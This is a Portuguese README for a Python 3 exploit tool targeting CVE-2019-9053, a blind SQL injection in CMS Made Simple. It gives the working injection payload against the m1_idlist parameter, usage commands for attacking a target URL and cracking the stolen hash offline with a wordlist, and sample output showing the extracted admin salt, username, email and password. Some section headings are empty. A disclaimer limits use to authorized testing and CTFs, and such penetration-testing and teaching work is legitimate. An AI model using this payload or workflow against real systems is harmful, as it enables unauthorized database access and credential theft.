CVE-2019-9053 — Exploração SQLi no CMS Made Simple (Python 3)

Aviso: Esta ferramenta destina-se apenas a testes de penetração autorizados e fins educacionais. Executá-la contra sistemas sem permissão explícita por escrito é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.

Visão Geral

Este é um porte para Python 3 do exploit público para CVE-2019-9053 — uma vulnerabilidade de injeção SQL cega baseada em tempo não autenticada no CMS Made Simple ≤ 2.2.9.

O parâmetro vulnerável é m1_idlist no endpoint /moduleinterface.php (módulo News). A entrada do usuário é passada sem sanitização para uma consulta SQL, permitindo que um atacante não autenticado extraia o salt do administrador, nome de utilizador, email e hash da senha — e opcionalmente quebre a senha offline.

Exploit original por Daniele Scanu @ Certimeter Group.
Porte para Python 3 com correções e limpeza.

Como Funciona

O exploit utiliza um oráculo de temporização — ele injeta SELECT sleep(T) em uma condição SQL LIKE e mede o tempo de resposta HTTP. Se o servidor atrasar ≥ T segundos, a condição injetada era verdadeira. Isso permite extrair dados um caractere de cada vez sem que nenhum dado apareça no corpo da resposta HTTP.

Estrutura do payload:
  m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
            +where+password+like+0x{hex(prefixo_conhecido+palpite)}25
            +and+user_id+like+0x31)+--+

Ordem de extração:

Após a extração, um ataque offline de dicionário opcional calcula MD5(salt + palavra) contra uma wordlist — sem necessidade de mais requisições de rede.

Mudanças para Python 3

O script original foi escrito para Python 2. As seguintes mudanças críticas foram corrigidas:

Requisitos

pip3 install requests termcolor

Uso

# Extração básica (sem quebra de senha)
python3 exploit.py -u http://<ip-do-alvo>/simple

# Extração + quebra de senha offline
python3 exploit.py -u http://<ip-do-alvo>/simple --crack -w /usr/share/wordlists/rockyou.txt

Opções

Exemplo de Saída

[+] Salt para a senha encontrado: 1234abcd
[+] Nome de utilizador encontrado: admin
[+] Email encontrado: [email protected]
[+] Senha encontrada: a1b2c3d4e5f6...
[+] Senha quebrada: password123

Detalhes do CVE

Referências

• NVD — CVE-2019-9053
• Exploit original — Exploit-DB #46635
• CMS Made Simple

Legal

Este exploit é fornecido apenas para testes de penetração autorizados e uso educacional/CTF.
O uso não autorizado contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito é uma infração criminal de acordo com o IT Act, 2000 (Índia) e leis equivalentes em todo o mundo.